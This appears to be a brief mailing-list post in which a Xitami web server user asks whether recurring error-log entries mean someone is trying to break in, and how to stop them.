[Xitami] Error log

[Cameron Arnott]

I've often wondered if someone was trying to break into my little
server... I ge these things appearinbg all the time.. And others very
similar... Are they anything to worry about.. And if so how can I stop
them

I always see html errors in the panel.. Are these what that's
reporting.. 

It just keeps repeating over and over again.. And different ime
intervals
And Xitami is the only thing running (internet wise that is)
